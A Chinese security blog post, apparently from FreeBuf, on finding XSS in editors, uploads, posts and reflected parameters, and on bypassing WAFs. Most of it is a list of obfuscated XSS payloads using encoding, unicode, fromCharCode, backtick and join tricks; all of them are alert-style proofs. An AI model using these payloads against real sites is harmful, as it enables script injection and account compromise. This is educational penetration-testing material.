xss实战场景
内容编辑处的xss
保存后:
文件上传xss
上传html文件:
访问:
信息发布处xss
案例一:发布文章(绕过前端过滤)
有些文章支持html标签,但没有对标签进行严格的过滤。如下案例中,仅在前端对危险的html标签进行过滤,通过抓包改包可以轻松绕过。
弹窗:
案例二:发布信息
又是测试xss需要两个账号,尤其是发送的信息是非公开信息
弹框:
反射xss
反射xss没什么好说的,回显在页面上的话直接进行测试即可。
http://xxxxxx.com/user/search?para=%3Cs%3Esssssssssssssssssss
效果:
总结,其实xss并不需要什么场景,只要用户能够控制输入,而且数据在前端展示,直接探测即可。
xss 混淆绕过 waf
替换
大小写:
<Script>alert(1);</Script>
禁用 alert 绕过:
<img src="1" onerror="confirm(1)"> (双引号加不加都行)
<script>confirm(1)</script>
<script>prompt(1)</script>
括号:
<script>alert`1`</script>
空格替换:
%09 %0a %0b %0c %0d %a0 /
单引号替换:
# 单引号替换为反引号 `
<svg%20onload=confir\u006d`1`>
编码混淆
a标签的href属性可以解析实体编码:
# 16 进制实体编码
<a href="javascript:alert(1)">click me</a>
# 10 进制实体编码
javascript:alert(1)
# 16 进制和 10 进制混合
<a href="javascript:alert(1)">click me</a>
# 另外可以实体编码的属性:
iframe 的 src 属性
iframe 的 src 属性可以 base 编码:
<iframe src="data:text/html;base64,PFNDcmlwdD5hbGVydCgxKTwvU0NyaXB0Pg=="></iframe>
# 双层编码
<iframe src="data:text/html;base64,PG9iamVjdCBkYXRhPWRhdGE6dGV4dC9odG1sO2Jhc2U2NCxQSE5qY21sd2RENWhiR1Z5ZENnbmVITnpKeWs4TDNOamNtbHdkRDQ9Pjwvb2JqZWN0Pg=="></iframe>
# 双层编码
<iframe src="data:text/html;base64,PG9iamVjdCBkYXRhPWRhdGE6dGV4dC9odG1sO2Jhc2U2NCxQR0YxWkdsdklITnlZejB4SUc5dVpYSnliM0k5WTI5dVptbHliU2duZUhOemMzTW5LVDQ9Pjwvb2JqZWN0Pg=="></iframe>
事件可以 unicode 编码:
# unicode 编码
<svg onload=\u0063\u006f\u006e\u0066\u0069\u0072\u006d`1`>
# 字符和编码的混合
<svg onload=confir\u006d`1`>
特殊函数混淆绕过
String.fromCharCode的ascii编码:
<a href="javascript:eval(String.fromCharCode(97,108,101,114,116,40,49,41));">click me</a>
<img src=1 onmouseover="eval(String.fromCharCode(97,108,101,114,116,40,49,41));">
parseInt 和 toString混淆
parseInt('alert',30) # 值为alert
8680439..toString(30) # 值为alert
<a/href="javascript:top[8680439..toString(30)]()">ccc</a>
join函数绕过
<iframe onload=location=['javasc','ript:al','ert(1)'].join('')>
推荐xss绕过waf文章:https://cloud.tencent.com/developer/article/1730672
已在FreeBuf发表 0 篇文章
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf
客服小蜜蜂(微信:freebee1024)